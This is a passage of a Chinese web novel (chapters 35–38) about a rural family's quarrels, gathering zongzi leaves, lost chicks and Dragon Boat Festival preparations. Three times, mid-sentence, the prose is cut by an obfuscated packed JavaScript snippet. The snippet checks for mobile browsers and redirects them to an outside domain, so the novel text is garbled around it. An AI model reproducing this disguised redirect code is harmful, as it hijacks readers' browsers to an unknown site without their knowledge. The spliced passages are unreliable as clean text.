一个女人若是没了父母子女，那才是无敌的存在，因为这世上已没有了她在乎的人，男人且要靠后。 杏娘漆黑的眼睛静静地看着林氏，一脸冷漠，林氏被她看的一阵心慌，心嘭嘭乱跳，手不知不觉又蜷缩起来。 半晌，杏娘嗤笑一声，嘲讽地扯了扯嘴角，偏过头去倚靠在房门上。 青叶轻轻挪到娘亲身边，杏娘摸了摸她的脑袋，温柔一笑。 林氏无声吐出一口气，杏娘虽然没有说话服软，但她的态度表明不会再火上浇油，有这个态度就够了。 她清了清嗓子，转身蹲下轻声劝解陈氏：“娘，弟妹年纪小不懂事，您多担待，哪能真跟她计较？她的性子您又不是不知道，最是个心直口快，刀子嘴豆腐心的。弟妹嫁过来这么多年，您把她当亲女儿似得，哪有跟女儿置气的，让外人看了笑话。” 林氏扶着婆母想把她安置在桌子边坐下，陈氏纹丝不动，依旧趴在女儿身上心肝、肉啊的拍打着。 林氏眉头微皱，伏低身子近乎耳语地靠近她的耳朵。 “娘，您老可想清楚了，弟妹的爹，李老爷子可不是个好相与的。他随随便便画个符念个咒的，我们全家都没有好果子吃。何况现在二弟不在家，传出去我们逼迫弟妹一个人，李老爷子能轻易放过咱们？” “您可别忘了，镇上还有个小李大夫呢，那更是个难缠的，他可是去过府城的人。得罪了他们，您觉得我们能有好日子过？” 陈氏的身子几不可见的一顿，哭嚎的嗓门逐渐低沉，林氏顺势搀扶着她坐到椅子上。 “娘，您快别哭了，知道您心疼孙女和外孙女，手心手背都是肉，伤到哪个都心疼不是。本来也没多大的事，大家伙坐下来好好说道说道不就解决了，您可别伤心太过累坏了身子，那就是小辈们的不是了。” 最后就剩了个丛娟，这母女俩一对蠢货。 林氏直截了当地扶起她，轻声问了句：“大姐，你真想跟二弟撕破脸，以后都不跟这家往来了？” 丛娟哭声一滞，用帕子捂住脸抽泣，被扶起来后趴在桌子上埋着脑袋。 荷花方才一直缩在一角不敢动弹，此时赶紧快走几步过去靠着她娘。 林氏心累，本来今天盘算的好好的，回来就是跟杏娘打好关系，重新交好。虽然如愿以偿的分家搬去了镇上，可等真过上了独门独户的日子，方知柴米油盐不是那么好担的。 佃出去的田还种着稻谷，只有收割了才能拿到租子。 男人的教资对他们一家三口的日常开销来说是够用的，可生活并不是只有吃喝。更多的还有儿子念书的费用，男人交际应酬的费用，其他杂七杂八的花销。 在镇上的日子是过得清闲自在，可伴随着日复一日的只出不进，光靠手上的老本支撑，却是越过越心慌，像是无根的草没有着落点。 之前没有分家大家都住在乡下，种地虽然劳累辛苦，挣的银钱也不多。 可丛孝每年去府城做工所得却是一笔不小的收入，足以支撑他们一大家子略显奢靡的生活，还有余力供养男人和儿子的念书费用。 一时之间，林氏也分不清楚自个自以为是的分家到底是利大于弊，还是自作自受。所谓聪明反被聪明误，不过如此而已。 她打算的很好，找个由头回老家一趟，陈氏好哄的很，随便买点东西就够了。 借此机会跟杏娘慢慢交好，分了家丛孝的银子自然是不可能再给她家用了。可万一呢，世上的事谁说得准，做好两手准备总是没错的。 屋里的哭声渐歇，陈氏手抵着额头，用帕子轻按鬓角，丛娟依旧趴着不动，只偶尔抽泣吸一下鼻子。 林氏轻咳一声，“好了，大伙都消消气，就是小孩子家家的斗嘴，我们这些做大人的委实不必过分担忧。谁家孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457594|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子没打过架闹过别扭，别看她们眼下闹得凶，下一刻又好得跟一个人似得，鸣不平的大人倒平白成了恶人，你们说好不好笑？” “……” 房间里鸦雀无声，无人搭腔。 林氏“……” 她嘴角抽了抽，今儿这出独角戏她是势必要进行到底了，继续自说自话。 “说起来，今天这事不怪别人，都怪我。前不久我在镇上听说青皮生病了，弟妹带他去镇上也没在我那边落脚。趁着今天有空，我就想着回来看看，也是好久没看望爹娘，就给娘稍了块料子。正好碰上大姐，就一起结伴回来了，不成想惹出这样的祸端，这事都怪我思虑不周。” 丛娟抬起头，沉闷的声音从帕子后传出来。 “大弟妹就是太过贤惠，这件事与你有何干系，平白往自个身上揽屎盆子。明明就是有的人霸道蛮恨，不顾亲戚情分，竟然殴打嫁出去的姑奶奶。哼，要是传扬出去，我看她怎么有脸活在世上？要我说……” “哼！”一声冷哼传来，丛娟立刻刹住脱口而出的话。 差点忘了，今时不同往日，母老虎露出了爪子，变不回小猫咪了，她可不想再挨打。可也不能这么怂就认输，于是遮脸的帕子成了她最后的体面，死死挡住那个煞星。 没想到都到这个时候了，这个大姑姐还有闲情逸致在这拍马屁，看来还是揍的不够狠，精力充沛嘛。 林氏看着眼前的一幕不自觉眼皮狂跳，当即快刀斩乱麻。 “今天的事其实就是个误会，说开就好了，都是实在亲戚，又不是老死不相往来了。传扬出去对谁都不好，也影响小辈们的交情。我的意思就是大家都各退一步，不要再追根究底伤了和气，若有人问起就说是孩子们玩闹过了头，起了点口角。” 意料中的沉默是金，林氏也不在乎。 “至于大姐脸上的伤……现在不是农忙时节，大姐就在家好好歇息，平日里操持劳碌不得闲，趁着这个机会狠狠修养个够。” 丛娟惊愕放下帕子看着大弟妹，露出一张青紫交错，肿胀如猪头的臃肿脸，敢情她还得感谢这个千载难逢挨打的好机会，是吧？ 这简直就是欺人太甚，她这顿打岂不是白挨了？ 看这头名副其实的“蠢猪”又有嗷嗷叫的势头，林氏眯起眼瞪着她，暗含警告。 “说起来，二弟离家快一个月了，也不知道他在外面怎么样了。哎，这年头银子不好赚啊，孤身一人背井离乡在外讨生活，也没个知冷知热的人在一旁照料。要是有法子，谁愿意长年累月在外奔波，毕竟人离乡贱啊！你说呢，大姐？” 她说？ 她什么都不想说，素白的帕子又缓缓遮挡住“猪头”，要不是被提醒，她都快忘了眼前的煞星是她的债主。 还是不要再招惹了，打又打不过，讹钱反会被要债。 今天这个亏她咽下了，吃得苦中苦方为人上人，她就不信了，她丛娟有生之年就没有出头之日。 无声平息了一场风波，林氏更加果决：“时辰也不早了，回来这半天也不知道家里怎么样了，娘们不在家，老少爷们估计饭都弄不进肚皮。” “我就先回镇上去了，爹娘在家照顾好自个身子，等得闲了我跟当家的再回来看二老。弟妹在家也照看好孩子，有什么需要帮忙的只管去找我们。大姐就跟我一起走吧，正好路上有个伴。” 在林氏的遮掩下，丛娟顶着一张猪头脸顺利到家，从此开始她的修养生涯。 36. 第 36 章 可世上就没有不透风的墙，丛家发生的事还是隐隐约约传了出去，英娘特意跑来对杏娘一阵顶礼膜拜。 “从今天开始，你就是我的榜样，你指东我绝不往西走。行啊！李杏娘，我简直佩服的五体投地。我就说嘛，你这么个爽利性子，怎么被你大姑姐和婆婆压的死死的，忒不像样。 我要有你那样的爹，别说一个小小的丛家了，就是整个泮水村，我也是横着走的。等什么时候，你再把你那秀外慧中、贤良淑德的大嫂拉下马来，我早晚三炷香给你上供，你看怎么样？” 英娘在杏娘身后跟手跟脚，吧嗒吧嗒说不停。 杏娘嘴角微翘，不理会她的疯言疯语，“你又不是属螃蟹的，怎么横着走？” 但至此，杏娘的人生进入了一个崭新的阶段，之前是她太傻了，她怎么想着跟那些人讲规矩、讲体面、讲道理呢？ 有什么好讲的，那些弯弯绕绕的话听不懂又如何，所谓实践出真理，一切以武力值说话。 这个世上，没有什么是一顿巴掌解决不了的，如果有，那就两顿。 …… 过几天就是端阳了，杏娘浸泡了糯米，跟英娘、云娘商量好去水芽沟打粽叶。三人挎着提篮过石桥，沿着土路走到拐弯的地方，再接着走一刻钟左右，直到一条河才停下。 说是河也不确切，这里是泮水村和邻村柳芽村交接的地方，两村的农田在这接壤。 偏偏这里是方圆十里地势最低处，尽管有农田旁边的引水沟连通泮水村的河流，可即便村里的河到了冬季枯水期，这里仍是碧波荡漾。 何况玉陵县本就多雨，少有干旱的时候，地下水也丰沛，雨水长年累月的往这里灌溉，又排不出去，渐渐成了一片洼地。 久而久之，人们就胡乱把这里叫了水芽沟，实在是水多得就没有干的时候。 开始还有人想在这里种点东西，毕竟这么一大片地就这么空着着实可惜。 结果一到下雨就淹没了顶，种什么死什么，白白浪费种子，之后就没人肯种了。时间一长，这里就成了一片无主的荒地，谁都不肯接手。 有整治这块地的功夫，还不如给自家农田多添点肥力。 这片洼地既然水多，各种野生动植物自然繁殖的茂盛，水乡人家爱吃的茭白、菱角等野生品种都能找到。更是打粽叶的不二之选，一大片箬竹长得青翠欲滴，密不透风，叶片宽阔肥厚，表面光滑，是包粽子的上上之选。 三人各割下一捆竿子坐在田埂上折粽叶，嘴里也没闲着，英娘再一次提及杏娘的丰功伟绩，依旧赞不绝口。 “你们是不知道，前儿我回娘家，我几个嫂子还说起有个村的小媳妇把回娘家的姑奶奶暴打了一顿。感叹现在的年轻媳妇子真是无法无天，欠收拾，姑奶奶可是娘家最尊贵的客人。这样的泼妇不赶紧送回娘家，等着过年供上祖宗排位么？” 英娘摇头晃脑的叹息，“我真是花了十二分的力气才忍住了没说话，哼都没敢哼一声，就怕一出口你的一世清明就保不住了。” 杏娘轻哼一声，丝毫不领情：“你在娘家可不就是最尊贵的姑奶奶,你能忍住不说话？我现在严重怀疑你娘家那边就是你传扬出去的，不然如何能传这么远？” 英娘愣愣看着她，拍着大腿叫屈：“天地良心，我要有那坏心思让我头顶生疮脚底流脓，真不是我干的，你可不能胡乱冤枉人啊！” 杏娘直勾勾盯着她，英娘不甘示弱回瞪。 云娘轻声解围：“别说是她娘家了，就是我娘家那边也影影绰绰有些风言风语，这种事情但凡有一丁点苗头，流言传播的速度比水里的鱼游的还快。” “对啊，对啊！”英娘找到了同盟，更加理直气壮。 “你与其在这揣测我，还不如去找你大姑姐对质。她被你打了一顿怀恨在心，回去后越想越不甘心，就把这事散播出去败坏你的名声，以泄心头之恨，我猜就是她干的。” 像是想起来什么，她猛一拍手，“还有你那个好大嫂，那可是个厉害的主，最是嘴甜心黑。当着谁的面都是笑眯眯，一脸温柔可亲，背过身就是一刀子，这种人最擅长干这样的事了。” 杏娘颓丧着脊背，无可奈何地耷拉着眉眼，“我也知道这般无根无据的事情没办法找人算账，但是那些婆婆妈妈的闲言碎语实在是烦人。就跟癞蛤蟆上脚面——不咬人，膈应人。” “不过……”说到这里，她重新挺直脊梁，眉宇间一派清明。 “纵使重来一次，我也依旧会这样做，一人做事一人当，有什么冲着我来就是，难不成我还怕了不成？我算是看明白了，我事事忍让，谁都拿我当芝麻馅的包子，想怎么捏就怎么捏。现在这样很好啊，知道我不好惹，硬敢着凑上前来的，看我不抽得她满脸开花，我李杏娘三个字倒着写。” “哈哈！”另两人被她斩钉截铁的语气逗得直笑，云娘抹掉眼角沁出的泪珠。 “你们老李家有大小两尊佛镇着，谁都不敢拿你怎样，最多就是背后蛐蛐两句，又不敢指名道姓，当面还得奉承你。” 杏娘得意一笑，她就是占着有娘家撑腰才敢这么撒野，时机恰好也合适。趁着男人不在家收拾了上蹦下窜的大姑姐，谁能拿她怎样，谁敢跟她计较？ 说说笑笑的逗趣，做事也不觉得累，选好粽叶捆扎绑好。索性趁着空闲割了菖蒲、艾草回去插于门楣，这些物件不怕提前准备，就怕要用时没有。 三人提着满满当当的篮子走回家，一路上说笑声就没断过。 …… 丛三老爷今天不在家，他是个闲不住的老庄稼汉，田里活计不多的话就开始忙活自个的营生。 每个久经生活苦难的乡里人，或多或少似乎都掌握着一种技能，无关精通与否，完全是悠长岁月打磨而成。 有的人擅长摸鱼捉虾，藏在水边树根底下的隐秘鳝鱼洞都能找到出口；有的人热衷逮鸟捕雀，在严寒的冬日给家里小子添一口肉食；而丛三老爷是泮水村远近闻名的老篾匠。 即便本地的竹子是瘦伶伶不粗壮的，也不笔直顺溜，丛三老爷依旧能破成大小一致的竹片，分层、抽丝、打磨成光滑、匀称的篾片。 青叶每次看见爷爷编织篾片，那双手仿佛被施予了仙法。 粗糙的指头灵活穿插在横七竖八的篾片当中，有条不紊地上下挑起、按压、对齐。有规律地不断重复那些动作，令人眼花缭乱的篾片不一会就排列成横竖分明、整齐的图案。 篾片看上去柔软丝滑，能弯曲成任意形状，却是孩童不能碰触的禁忌，小油皮一挨着边，立马冒出血珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457595|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 篾片上的细小尖刺好像只是暂时顺服于爷爷干枯、毛糙的宽厚手掌，一旦有鲜嫩、软乎的小手靠近，如同闻到香甜血腥味的小蛇，不动声色张开血盆大口，趁人不备就是一刺。 丛三老爷编织的竹制品种类繁多，提篮、簸箕、筛子、箩筐等不一而足。 葫芦镇每五日赶一次集，附近大大小小村子的乡民挑了自家的出产去镇上，或卖或买，或以物易物交换。 丛三老爷跟周老爷子交好，两个老头打小的交情。担起两个装满的箩筐搭上周老爷子的船去镇上摆摊，运气好卖几个铜板攒了，一个月下来也能攒半条肉给孙子、孙女打打牙祭。 时不时得闲了就编个箩筐送给周老爷子装鸭蛋当做船资，两下有来有往，互不亏欠方能长久。 丛三老爷这几天连家门都没进，天天坐在池塘边上破竹片。 不是他不愿意在杂物房干活，主要是家里老婆子整日拉长着脸，没个好脸色，媳妇则是满不在乎，我行我素。 他既不能把大女儿叫回来骂几句，也不能把媳妇拉来挥两巴掌，索性眼不见心不烦，惹不起躲得起，不痴不聋，不作家翁嘛！ 幸而池塘边上的树荫，凉爽的水汽能给予丛三老爷几许阴凉，否则他就是城门失火殃及到的那只池鱼。 天黑之后母鸡领着一群小鸡吃饱喝足钻进鸡笼，杏娘照例清点一遍个数。数来数去总是差了一只，上次明明剩了九只，怎么这里只有八只呢？ 后院空地的冬瓜藤再次长得张牙舞爪，整片地爬满枝蔓，怕小鸡在哪儿绊了脚，杏娘里里外外翻了个遍，仍然一无所获。 她皱着眉头回房问小儿子：“青果，你是不是又嚯嚯咱家小鸡了？” 青叶闻言不满地看向小弟，上次陪出去的小鸡害她心疼了好久，难不成他又弄死了一只？ 正在跟哥哥斗牛的青果连忙大声否认：“不是我，我没抓小鸡，也没吊死它，我都不喜欢玩钓鱼了，做什么还要抓小鸡啊？” 杏娘迟疑点头，小儿子虽说淘气的没边，却是个敢作敢当的主。闯的祸在他看来就是丰功伟绩，向来没有否认一说，那只小鸡到底跑哪去了？ “娘！”青皮轻声开口，声音里带了忐忑。 “晌午时我看见一只小鸡在篱笆外转圈，我以为它不小心跑出来了，就想把它抓了放回去。我一往那边靠近，它就转身跑，我一跑起来，它跑得更快了，没几下子就钻进五爷爷家的院子里不出来了。娘，我不是故意的。” 杏娘一口气憋在胸口吐不出来，还要柔声安抚大儿子：“没事，不怪我们青皮，你也是好心，是那只小鸡太笨了。” 这下轮到杏娘发出如此感叹：这世道还有没有王法了。 她家小鸡本来是足够的，结果送出去几只后就跟撞了邪似得，接二连三的损失。 这般个头的鸡崽长得都差不多，家家户户尤其看得牢，就是丢失了不好寻找。无凭无据的找上门说自个的鸡崽跑人家里了，是个人都不能认承，你说是你的就是你的？它又不是你生的。 还说等到年底杀鸡好过年呢，照这速度，一个月丢一只，等到过年正好清零，到时连鸡毛都捞不着。 这样下去是不行的，须得好好想个法子才是，杏娘吹灭油灯细细思索。 37. 第 37 章 前院的栀子花开了，浓郁的香色充盈在丛家的每个角落。 栀子花树正对着西厢房隔间，青叶的小房间窗户，每年的开花时节，满树雪白的花朵开的热烈张扬。霸道的香气被风送到每一个经过丛家的路人鼻腔，引得人连声赞叹：“真香啊！” 尽管栀子花开得如同漫天繁星，丛家两个小子仍是不能摘取一朵。 枝头上所有花朵的归属权只有一个——青叶，这是经过杏娘点头认证，丛孝盖章确认过的。没有青叶的允许，谁都休想擅自折取。 她似乎天生带有某种技能，哪朵花苞第二天清早开花，哪朵花不是她掰断的，分辨地一清二楚。 青果打小就怀疑，他姐是不是长了第三只眼睛，就长在栀子花树上，监视着每一个妄想靠近花树的人。就像神话故事里长了三只眼睛的神仙，一切妖魔鬼怪都逃不过他的第三只眼。 幸而两个小子对花呀朵呀的不敢兴趣，不当吃不当喝的，也只有傻姐姐才当个宝。平日里故意摇晃下枝条就跑，也只是为了引逗跳脚的姐姐追赶打闹。 当初这根小树苗还是从李老爷子家菜园挖过来的，听说栀子花移栽后不易成活，杏娘想尽了一切办法。 往树根底下施粪肥，淋菜籽油，还剪了青叶头上的一小戳头发绑在根部，说是能定根。后面听说童子尿辟邪，阳气足，比粪肥还好使，便令青皮日日对着树根撒尿。 也不知道是哪个环节起了作用，或者是合在一起产生了效用，小树苗竟扎稳了根系，一天比一天长得健壮。 不过几年功夫，树干底部长粗了一圈，上面的枝条却是蓬松成一大片，挨着屋子的那一面竟是擦着墙面往上长。 树活了也就用不上青皮的童子尿了，院子里总算摆脱掉了那股若有似无的尿骚味。 这天清晨洗漱完，青叶披散着头发去灶房要她娘帮忙梳头。 往常她能给自个梳两个包包头，现在却不能这么办。杏娘握着一把浓密，光滑如上等丝绸的黑发，羡慕得直咂嘴：“都说憨人长头发，那你可够憨的，这头发长得真是好。” 青叶嘿嘿傻笑，头发太多了，一点不好打理，不明白大人为什么总是很羡慕。 她们也有头发啊，还比她长。即使不明白，她也不会去反驳，大人都说好，那肯定是好的，等她长大就能弄懂，不着急。 杏娘认真、仔细地把女儿的头发编成辫子盘绕在一起，在每一股辫子上插满刚摘下的，还带着露水的栀子花。 洁白的栀子花一朵接一朵挤满整个脑袋，隔着五步远都能闻到她头上喷鼻的香味。 纵使这样并不算好看，远不如扎包包头插几朵花，但只要女儿喜欢，杏娘就愿意依着她。在什么样的年龄喜欢什么样的审美，应该由她自己决定，而不是旁人代劳。 青叶心满意足地看着铜镜里满头的栀子花，臭美地左转转右瞅瞅，要不是头发不够用，她真想再插几朵上去。 捧着铜镜回房间，经过栀子花树时停住脚步。唔，枝头上好多大花苞露了白边，有的散开两片白色的花瓣，看来明天早起又是一树雪白，她更高兴了。 吃过早饭，杏娘带着三个小的去后面菜园摘桃子。丛家的这颗桃树有些年头了，还是丛孝少时种下的，每年结的桃子又多又大，圆润饱满，是三个孩子的最爱。 唯一不好的是易招虫子，摘下的桃子就没有几个是完好无缺的。 不是这里被虫蛀了条缝，就是那里咬出个洞，不过这在农户人家看来实属平常。别说被虫子吃过，就是当场咬出条虫子那也没什么大不了的，扔掉虫子继续啃，多大点事。 有虫子才叫好呢，说明桃子甜啊，谁不喜欢甜滋滋的东西。 有时杏娘也很好奇，各家各户都跟商量好了似得，每家种的东西都不一样。 如五叔家的李子，自家的桃，大哥家的柿子树，还有诸如柑橘、大枣等不一而足。若说是为了错开季节，各家互通有无倒也说得通，让孩子吃过瘾是没可能，最多甜个嘴罢了。 三个小的够不着果子，并不妨碍他们在树下指点江山。 “娘，这个最大，就摘这个。” “不是的，最顶上的那个才是最大的。” “娘，那个颜色最红，肯定熟了。” 杏娘由着他们瞎叫嚷，挑选颜色粉红的，用手轻轻按压，果肉软糯有弹性的就是熟了。低处的用手摘，高处的用竿子敲，有时会连着旁边青色的果子一起敲下来，那也不会浪费。 有人喜欢软烂熟透的香甜，自然就有人爱硬脆的酸涩。 每人分两三个桃子让他们出去玩，至于是自个吃还是分予旁人，杏娘并不过多嘱咐，由他们自己。在剩下的桃子里挑出八个品相稍好的用小提篮装了，卷了几张红纸，杏娘提了篮子往丛二老爷家走去。 若说丛三奶奶陈氏这辈子最意难平的人是谁，那丛二奶奶孙氏指定排第一。 孙氏进门时，老丛家还略有些家底，不知是为了维持大家族最后的体面荣光，还是咽不下一口气想让外人眼热，孙氏是个小脚媳妇。 标准的三寸金莲比孩童的手掌大不了多少，裙摆底下露出的一点小尖尖羡煞陈氏的双眼，尤其农忙时这种嫉恨到达了顶峰。 纸糊的高楼大厦终究会倒塌，轮到丛三老爷娶亲时，一来拿不出那许多聘礼，二来娶进来两个小姐样的媳妇子就够喝一壶的了。 再迎进门几个，一大家子都不用干活了，坐在家等着喝西北风就好。 故而孙氏之后进门的媳妇都是大脚，看中的就是能下地干活。陈氏在家时其实也有裹脚，只不过她自小个子高脚大，这要裹成个三寸金莲不得剁下半只脚掌？ 爹娘不忍心下这个狠手，拿了白布草草缠一圈了事，其实就裹了几个脚趾头装装样子，她自个也忍不了裹脚的疼痛，时常偷摸着解开透气。 等到说亲时媒婆一看这老大的脚就知道是没裹的，说给丛家后听说他家要大脚的，索性连样子也不装了。 等陈氏进了门，先还摸不清这个二嫂的底细，只知道她干什么都慢吞吞的。 走路慢，吃饭路，干活慢，整个人除了一张年轻的皮子，跟七老八十的老太太没什么区别。后来农忙时要下地了，方知人家根本下不了田，只能在家里干些杂七杂八的活计。 此时陈氏才后悔万分，早知道裹脚可以不用干活，她就是剁下半只脚掌也是肯的。 脚疼算什么，在家里不用风吹日晒吃土沫子，就是脚断了又有什么要紧。要是一般人这时候最多就是心里嘀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457596|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕几下就完事，这般年纪裹脚也晚了，该干什么还是得干什么。 可陈氏哪是一般人可比的，她寻思自个之前也是裹脚了的，只不过后来拆了，现在重新裹起来不也是一样的？ 于是撕了一条白布又把脚给缠了起来，还特意把鞋子往小了做。 奈何老丛家不吃她这套把戏，该下地还是得下地，你自个爱裹那就裹着吧，只要不耽误干活就行。 直到孩子都生了两个，陈氏脚上的几根脚趾头总算变了形，半截弯曲折在脚底板。 恰此时老丛家分了家，陈氏要死要活说自己脚疼下不了地，丛三老爷拗不过她，只得松口让她在家干些杂活。 陈氏终于过上了孙氏这样的，梦寐以求的生活。 只不过孙氏不下地，无人说她，要说也是这么小的脚能干什么，在家搭把手都难。 轮到陈氏说脚疼下不了地，大娘婶子的唾沫星子喷了她一脸。 “懒媳妇吃不上热饭，见过偷懒耍滑的，没见过懒成这般的。” “可不是，前世指不定就是懒得下地饿死的……” 喷得陈氏抱头鼠窜，别人越是说她，她还偏偏越发的打定主意不去农田干活，也是越发对孙氏恨之入骨。 同是丛家的媳妇，进门时间也差不多，凭什么差别待遇这么大？ 她非得跟孙氏看齐不可，再说她之前也下过地啊，孙氏可连一天的农活都没干过，要骂也是骂她。 陈氏打定主意跟孙氏学，完全没想过丛二老爷是个童生，早早当上了村里蒙学的教书先生。这在镇上自然是没什么看头，可在小小的乡里足以维持颇体面的生活。 陈氏东施效颦，平白无故给人增添笑料不说，害得女儿没好嫁妆嫁不了好人家，小儿子早早离家自谋生路，大儿子也跟她感情平平。 这也是杏娘跟婆母合不来的原因，她是十二万分的看不上这个婆婆的为人处世。人活在世上，就没有不喜欢清闲度日的，如果可以，谁不愿意天天游手好闲，赏花踏月的？ 可既然生之为人了，总得吃饱喝足吧，生了子女，总得抚育成人吧，光想着偷懒不干活，天上还能掉馅饼？ 自个不愿意吃苦，也不心疼子女吃过的苦，这样的人也是少见，无怪乎整条垄上的人就没几个待见她，跟她合得来的。 这也就是丛孝挣出了头，活出来个人样，顺带提携了哥哥姐姐一把，否则这个家还不知道烂成什么样呢。只不过哥姐也不是什么好东西，遗传了他们娘的冷血自私，吃亏的就换成了丛孝。 还有一个让杏娘佩服不已的就是婆婆的厚脸皮，旁人说他们的，丝毫不会影响到她吃饭睡觉，心里不存事，身体倍儿棒，不服不行。 说实话，杏娘虽然唾弃婆婆的这种自私自利，有时候也会有点羡慕，没心没肺活得多洒脱。 像她有操不完的心，担心完大的逮小的，温柔细语不管用，非得扯着嗓门吼得窗纸都颤动，小儿子的耳朵才打开听见声音。 恨起来的时候真想一巴掌把他抽到天边去，眼不见心不烦，赖在她身上软语扭动时又爱的不行，对婆婆的这种艳羡又会消失的无影无踪。 所以说人跟人不能比较，越比越失衡，各人有各人的活法，选择不同，喜乐不同。 38. 第 38 章 “这是家里桃树今年刚结的果子，我挑了几个品相还看得过去的，送来给二伯娘尝尝鲜。”杏娘把小提篮递给孙氏。 孙氏一手接过篮子，一手牵了杏娘坐到椅上，“人来就行了，这么生份干什么？新鲜果子难得，我们这些老东西吃不吃都一个样，要紧的是给孩子们吃。” 转眼看见放在桌上的红纸，心下了然：“是不是要托我剪驱五毒的窗花，我寻思这两天抽空剪了，不成想你比我还心急。既然碰到了，索性趁着今天一并剪出来。” 杏娘笑得一脸谄媚：“树上的桃子多着呢，短不了他们的嘴，这几个是专程拿来孝敬二伯和伯娘的。” 双手作揖做乞求状，“就是知道二伯娘这几天要剪纸，这才急急忙忙拿了红纸过来，劳烦伯娘剪几张应景的窗花，端阳时正好贴上。” 孙氏小脚干不了农活，却有一双巧手，一把剪刀，一张红纸，剪出的窗花活灵活现，栩栩如生。不论是过年时的“年年有余”、“五谷丰登”，还是大喜之日的“百年好合”、“双囍临门”，孙氏都能手到擒来。 因她剪的好，要办喜事的人家少不得提着东西求上门，因而每年还能额外赚几个铜板，聊胜于无。 杏娘也是无意中看见她拿着一张小纸片，一把小巧的剪刀三转两转的，也没看清怎么剪的，一枝花的样子便悄然呈现。花瓣、叶片、枝干一览无余，简洁明了，形态优美。剪的麻雀儿、小兔子也是生动形象、童趣盎然。 后又得知孙氏逢年节都会剪窗花，便厚着脸皮求上门请托，年节时贴上红彤彤的窗花，看着就美的很，心情也会格外舒畅。 “几张窗纸而已，不值什么。”孙氏眨一下眼调侃她，“你提桃子过来，你娘没意见？” 杏娘一副听不懂的样子打哈哈：“伯娘说什么呢，我娘岂是那般小气的人，来之前碰见了还说我拿的少了。只是现在还是早了些，树上的桃子多半没熟透，等过些日子我再给伯娘送来。” 孙氏不置可否，似笑非笑睨了她一眼，拿起一张红纸琢磨图样。 杏娘无声一笑，装样子嘛，谁还不会。 …… 窗纸贴上，菖蒲、艾草悬挂于大门两边，糯米、粽叶也泡好了，杏娘开始着手包粽子。只要自己得空，家里的吃食杏娘都是一手包办，不会假手于陈氏。 对于这个婆婆，杏娘其实也挺费解的。人生在世几十年，大多人都会有个喜好吧，或好吃、或好喝、或斗鸡走狗等。 陈氏确实爱吃，灶上的手艺却稀烂，满汉全席的食材到她手里都能煮成一锅猪食。 无论炒什么菜都是倒油、倒菜、倒水，锅盖一焖完事，完全是一副只要毒不死、能吃就行的做派。也不知道她在急什么，炒个菜都能做成这般敷衍了事。 杏娘刚成婚时陈氏做过几顿饭，吃得杏娘怀疑人生，好好的鱼肉怎么做出来的饭菜一股馊水味。当下心里万分同情自个男人，从小吃猪食长大的，难怪碰到正常饭菜都是一副饿死鬼投胎的模样。 当然更同情的是公爹，吃了小半辈子的猪食，现在都尝不出好坏了，吃什么都一个样，也不挑食。 不得不说，陈氏总是能用一种与众不同的方式达到旁人意想不到的效果。 她也爱鲜亮的衣物，但是一手针线活却惨不忍睹，再名贵的衣料都能缝出一身麻袋样。关键是别人若是觉得自己手艺不精，就不敢动手，怕糟蹋了料子。 陈氏则不，人家自信满满拿起剪刀就动手，做出来的衣裳也丝毫不觉得有何不妥。 她似乎只在意料子是不是好的，至于女红能不能匹配得上倒在其次，所以也就从来没想过下苦功夫学女红。 至于其他的庄户人喜爱的戏曲、把之类的，她也爱看，但不会到特别痴迷的程度，属于有就去看，没有也不会惦记的程度。 杏娘总结了婆婆的人生哲学就是：一切都能得过且过，多一事不如少一事，能坐着绝不站着，能将就绝不讲究。 就拿包粽子来说，一个粽子恨不得包上两斤米，一盆糯米几个粽子搞定，个个包得个大如牛、蠢笨如猪。在锅里煮熟了揭开一看，十个中有九个粽子的尖角露出糯米，粽叶翻卷，看了就没食欲。 杏娘宁愿自个动手慢慢包，一个个小巧玲珑、秀气可爱，送礼也拿得出手。 天还蒙蒙亮，杏娘起床把粽子放进大铁锅后添满水，盖上锅盖，往灶膛塞了一根一人高的枯木头慢慢焖煮，也不用人看火，自个去做别的事情。 约莫一个时辰后抽出剩下的木头插到灶下的草木灰堆里，留灶膛里的余火烘烤锅底，粽子煮不坏，就怕没煮熟。 碗底倒一点白糖，这还是年前从王德的杂货铺拿回来的两包白糖，日常一直不舍得用。端午吃粽子再合适不过，即便是再贫穷的人家也要赊二两白糖配粽子。 本地人的饮食习惯糅杂了南北方的特色，粽子、豆腐花爱吃甜口的，酱爱吃辣口的，其他生活中的方方面面也是综合了两边的习俗，形成本地特有的民俗风情。 